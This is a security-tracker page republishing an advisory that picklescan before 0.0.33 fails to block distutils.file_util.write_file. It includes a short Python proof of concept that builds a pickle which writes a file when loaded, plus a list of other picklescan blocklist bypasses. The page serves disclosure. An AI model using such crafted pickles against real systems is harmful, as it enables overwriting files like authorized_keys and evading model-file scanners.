Iniciar sesión
Deutsch English Español Polski
Alta

Picklescan vulnerable to Arbitrary File Writing

  • Publicada: 29.12.2025
  • Actualizado: 11.10.2026 13:19

Summary

Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.

Details

This is another vulnerability which impacts the downstream user.

By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.

PoC

python
import pickle
import distutils.file_util

class FileWriteBypass:
    def __reduce__(self):
        
        target_file = "pwned_config.env"
        content = ["print('I have overwritten your config')"]
        
        return (distutils.file_util.write_file, (target_file, content))

payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
    f.write(payload)

print("bypass_filewrite.pkl")
<img width="853" height="197" alt="image" src="https://github.com/user-attachments/assets/a129f5aa-a050-4e88-adb7-5a6f93e35b65" />

To fix this just add disutil to the blacklist

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) picklescan < 0.0.33 0.0.33

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Debilidad (CWE)
CWE-502, CWE-552
Plataforma
Python (PyPI)
Paquete
picklescan
Publicada
29.12.2025
Actualizado
11.10.2026 13:19

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-1791 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-m273-6v24-x4m4 - CC BY 4.0

Historial de vulnerabilidades: picklescan

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (58) en el archivo
Entradas en total
58
Primera → última
02.2025 03.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 7
  • Alta 25
  • Media 26

Divulgaciones por año

Gravedad:
  1. PickleScan has multiple stdlib modules with direct RCE not in blocklist
    Crítica · 9.8 CVE-2026-56315 < 1.0.4 1.0.4
  2. PickleScan's pkgutil.resolve_name has a universal blocklist bypass
    Crítica · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. PickleScan's profile.run blocklist mismatch allows exec() bypass
    Crítica · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
    Alta CVE-2026-53875 < 1.0.3 1.0.3
  5. picklescan missing detection by simple obfuscation of a `builtins.eval` call
    Alta CVE-2026-53874 < 1.0.1 1.0.1
  6. picklescan has Arbitrary file read using `io.FileIO`
    Alta · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  7. Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
    Alta CVE-2025-71367 < 0.0.34 0.0.34
  8. Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.methodcaller
    Alta CVE-2025-71375 < 0.0.34 0.0.34
  9. Picklescan is vulnerable to RCE via missing detection when calling numpy.f2py.crackfortran.getlincoef
    Alta CVE-2025-71372 < 0.0.33 0.0.33
  10. Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran.myeval
    Alta · 8.1 CVE-2025-71365 < 0.0.33 0.0.33
  11. Picklescan is vulnerable to RCE through missing detection when calling built-in python operator.methodcaller
    Alta CVE-2025-71373 < 0.0.33 0.0.33
  12. Picklescan missing detection when calling numpy.f2py.crackfortran.getlincoef
    Alta CVE-2025-71362 < 0.0.33 0.0.33
  13. Picklescan Bypasses Unsafe Globals Check using pty.spawn
    Alta · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  14. Picklescan missing detection when calling pty.spawn
    Alta ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  15. Picklescan has Incomplete List of Disallowed Inputs
    Alta CVE-2025-71320 < 0.0.33 0.0.33
  16. Picklescan does not block ctypes
    Alta · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  17. Picklescan vulnerable to Arbitrary File Writing esta entrada
    Alta CVE-2025-71321 < 0.0.33 0.0.33
  18. Picklescan Bypass is Possible via File Extension Mismatch
    Crítica · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
  19. Picklescan: ZIP archive scan bypass is possible through non-exhaustive Cyclic Redundancy Check
    Crítica · 7.5 CVE-2025-10156 < 0.0.31 0.0.31
  20. Picklescan is Vulnerable to Unsafe Globals Check Bypass through Subclass Imports
    Crítica · 8.3 CVE-2025-10157 < 0.0.31 0.0.31
  21. Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand
    Alta CVE-2025-71357 < 0.0.30 0.0.30
  22. Picklescan is missing detection when calling built-in python ensurepip._run_pip
    Alta · 8.1 CVE-2025-71344 < 0.0.30 0.0.30
  23. Picklescan has a missing detection when calling built-in python idlelib.calltip.Calltip
    Alta · 8.1 CVE-2025-71361 < 0.0.29 0.0.29
  24. Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.fetch_completions
    Alta · 8.1 CVE-2025-71376 < 0.0.29 0.0.29
  25. Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.get_entity
    Alta · 8.1 CVE-2025-71358 < 0.0.29 0.0.29
  26. Picklescan has a missing detection when calling built-in python idlelib.debugobj.ObjectTreeItem
    Alta · 8.1 CVE-2025-71354 < 0.0.29 0.0.29
  27. Picklescan has a missing detection when calling built-in python profile.Profile.runctx
    Alta · 8.1 CVE-2025-71341 < 0.0.29 0.0.29
  28. Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config
    Alta · 8.1 CVE-2025-71348 < 0.0.28 0.0.28
  29. Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper
    Alta · 8.1 CVE-2025-71370 < 0.0.28 0.0.28
  30. Picklescan has pickle parsing logic flaw that leads to malicious pickle file bypass
    Alta CVE-2025-71325 < 0.0.27 0.0.27
  31. Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate
    Alta CVE-2025-46417 < 0.0.25 0.0.25
  32. picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pick
    Crítica · 9.8 CVE-2025-1716 < 0.0.22 0.0.22

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Política de privacidad

Suscripción gratuita. Date de baja con un clic en cualquier correo.